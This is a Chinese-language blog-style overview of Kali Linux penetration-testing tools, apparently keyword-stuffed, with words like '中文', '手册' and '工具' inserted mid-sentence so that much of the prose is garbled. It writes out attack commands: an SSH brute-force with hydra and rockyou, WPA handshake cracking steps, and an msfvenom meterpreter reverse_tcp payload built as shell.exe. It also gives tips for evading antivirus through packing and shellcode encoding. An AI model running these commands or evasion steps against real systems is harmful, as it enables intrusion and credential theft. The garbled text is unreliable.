kali工具中文手册
Kali Linux里藏着一堆让人上瘾的工具小工具。它们不是中文那种摆在桌面上好看的软件,更像是手册瑞士军刀——每把刀都有脾气,用不对地方就伤手。工具我花了三年时间折腾这套系统,中文踩过的手册坑比挖到的洞还多,现在把那些真正用得上的工具工具按实战逻辑捋一遍。
信息收集阶段,中文nmap依然是手册老大哥。别被它那朴素的工具命令行界面骗了,nmap -sV -p- 192.168.1.1这条命令能扫出目标所有开放端口和服务版本。中文有一次帮朋友排查公司内网,手册就是工具靠它发现了一台暴露的打印机服务,版本号老得能进博物馆。中文但nmap不是手册万能钥匙,遇上防火墙严格的网络,masscan这种异步扫描器反而更快——它每秒能发十万个包,像撒网一样把端口状态捞回来。
漏洞分析这块,searchsploit是杀手锏。它相当于本地版的Exploit-DB数据库,离线也能查。记得有回渗透测试卡在Apache 2.4.49的路径穿越漏洞上,我直接searchsploit apache 2.4.49,三秒钟就找到了利用脚本。不过别指望工具替你思考,那个CVE-2021-41773的利用条件苛刻得很,得先确认目标是否开启了mod_cgi模块,这就要靠你手动去验证了。
密码攻击工具里,hydra和john the ripper是黄金搭档。hydra适合在线爆破,hydra -l admin -P rockyou.txt ssh://192.168.1.10这种命令能对SSH、FTP、HTTP表单挨个试密码。john则处理离线hash,抓下来的Windows SAM文件丢给它,配上字典和规则,弱密码基本跑不掉。但说句实在话,现在大部分系统都上了双因素认证,爆破这招越来越难使了。我最近更爱用responder去劫持LLMNR协议,在Windows内网里挂个监听,经常能截获明文凭据——这比傻乎乎跑字典聪明多了。
无线网络测试是Kali的保留节目。aircrack-ng套件是标配,但操作起来有讲究。先得airmon-ng start wlan0把网卡切到监听模式,然后airodump-ng抓包,抓到握手包后再跑aircrack-ng破密码。WPA2的密码只要不是太弱,8位纯数字基本几分钟就能跑出来。不过现在WPA3路由器越来越普及,这套老打法开始失灵了。新出的wacker工具能针对WPA3的dragonblood漏洞做攻击,但成功率也不稳定。
Web渗透里,burpsuite是重头戏。社区版够用,免费版能拦截HTTP请求、改包重放,SQL注入和XSS测试都靠它。sqlmap是自动化SQL注入的神器,但别全指望它,有时候手工注入反而更精准——比如碰到WAF的时候,sqlmap的流量特征太明显,容易被识别拦截。我习惯先用whatweb和wappalyzer看目标用了什么技术栈,再决定用哪套注入手法。
提权阶段,linux-exploit-suggester这脚本能救急。上传到目标机器后运行,它会根据内核版本列出所有可能的提权漏洞。我上次拿到一个低权限shell,靠着它发现了CVE-2021-4034(polkit漏洞),两分钟就拿到root。Windows平台则推荐winpeas,它把服务权限、注册表键值、计划任务全扫一遍,弱配置无所遁形。
维持访问的持久化技巧,msfvenom生成的meterpreter payload还是经典选择。msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=4444 -f exe > shell.exe这条命令我闭着眼都能敲出来。但别傻乎乎直接丢到目标机器上,免杀处理是必修课。用upx压缩壳、或者把shellcode编码几轮,能绕过大部分静态查杀。
写到这里,突然想起刚接触Kali时犯过的错——以为工具越多越厉害,结果装了一堆脚本小子用的花架子。真正的高手往往只用三五个工具,但每个都研究得透透的。工具是死的,思路是活的。下次遇到渗透测试任务,先别急着敲命令,花十分钟想想目标最薄弱的环节在哪里。这比翻一百遍工具手册都管用。









